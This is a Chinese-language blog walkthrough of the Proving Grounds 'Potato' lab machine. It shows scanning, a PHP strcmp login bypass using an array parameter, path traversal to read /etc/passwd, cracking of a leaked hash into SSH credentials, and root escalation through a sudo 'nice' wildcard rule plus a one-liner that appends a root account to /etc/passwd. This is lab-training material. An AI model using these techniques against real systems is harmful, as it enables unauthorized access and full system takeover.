Proving Grounds Play : Potato Walkthrough

 Proving Grounds Play : Potato Walkthrough


Foothold :

  • 80 網站有登入頁面,在 ftp 站台發現登入網頁應該是用 strcmp 函數帶入帳號密碼
  • 參考 strcmp bypass 成功登入與獲取密碼,登入網站後有 POST 讀取指定檔案
  • 修改讀取檔案路徑成功讀取 /etc/passwd 並發現密碼 HASH 存在檔案中
  • 破解密碼後成功 SSH 登入

PE :

  • sudo -l 發現 nice 指令
  • 標準利用 nice 去執行一個 .sh script 新增 root 使用者
  • 但使用的路徑沒有權限寫入,繞個彎改用 linux 的路徑切換到 /tmp 底下的檔案
  • 成功新增 root 使用者,切換使用者提權成功


Rustscan,└─$ rustscan -a 192.168.170.101 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.170.101 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,80,2112 192.168.170.101 | tee nmap



匿名登入 FTP 服務,└─$ ftp 192.168.170.101 -p 2112

發現兩個檔案 index.php.bak、welcome.msg,先抓下來,另外測試上傳 test.txt 沒有成功



看一下 index.php.bak,看來使用者預設密碼是 potato

且帳號密碼變數使用 strcmp 語法,這有名的驗證繞過函數



另外一個 welcome.msg 內容沒有甚麼幫助



80 /



80 /robots.txt



gobuster 80,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.170.101 -c -t 150 -x txt,pdf,git,php | tee gobuster



80 /admin



使用幾個常用的帳號密碼組合與 admin:potato 都無法登入



參考 strcmp 繞過 https://www.cnblogs.com/websec/p/7099687.html



由於 URL 不傳送 POST 內容資訊所以改用 Burp Suite 來編輯

將 password=potato 改成 password[]=potato 可以看到變成 welcome 且轉到 dashboard.php

且看到 cookie 當中有密碼 Set-Cookie: pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh;



回到網頁使用憑證 admin:serdesfsefhijosefjtfgyuhjiosefdfthgyjh 登入試試看,成功登入了



80 /admin/dashboard.php 顯示如下



http://192.168.170.101/admin/dashboard.php?page=users



http://192.168.170.101/admin/dashboard.php?page=date


http://192.168.170.101/admin/dashboard.php?page=log



http://192.168.170.101/admin/dashboard.php?page=ping



回到 log 頁面點選 log_01.txt



log_02.txt



log_03.txt



將幾個都送到 Burp Suite 分析看看,發現僅有在存取 Log_01~03.txt 時使用 POST



且 BODY 中有指定檔案名稱,其它的 date、ping、users 都是在 page= 換名稱而已

先試試看 page= 換名稱可不可以讀取檔案 /etc/passwd,發現不可讀取



改修改 file=log_01.txt 換成 ../../../../../../../../etc/passwd 成功讀到了

獲得帳號 webadmin、florianges

且 webadmin 有密碼 HASH 為 $1$webadmin$3sXBxGUtDGIFAcnNTNhi6/



破解看看,發現一組憑證 webadmin:dragon



SSH 成功登入了



獲取第一階段 flag



另一個使用者的 home 目錄可以進去但沒有東西



sudo -l,發現可以執行     (ALL : ALL) /bin/nice /notes/*



查看 nice 指令的應用,參考 : https://www.runoob.com/linux/linux-comm-nice.html

nice 指令看來可以直接執行程序



寫一個加 root 使用者到 /etc/passwd 檔案中的程序,最愛用的帳號:密碼 --> aries:Oscp#1234

做一個檔案名稱為 adduser.sh 放在 /tmp 底下

echo 'echo "aries:\$1\$qaKzzjN8\$y6Ga3/.6H2y8.LOryHjhZ.:0:0:/root:/bin/bash" >> /etc/passwd' > /tmp/adduser.sh



因為 /notes 底下沒有權限,所以改用目錄切的模式進行

sudo /bin/nice /notes/../../../../tmp/adduser.sh 發現沒有權限,用了 sudo 還沒權限

後來發現是沒有給 adduser.sh 執行的權限



cat /etc/passwd 確定有寫入了



切換使用者 aries,獲取 proof.txt



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)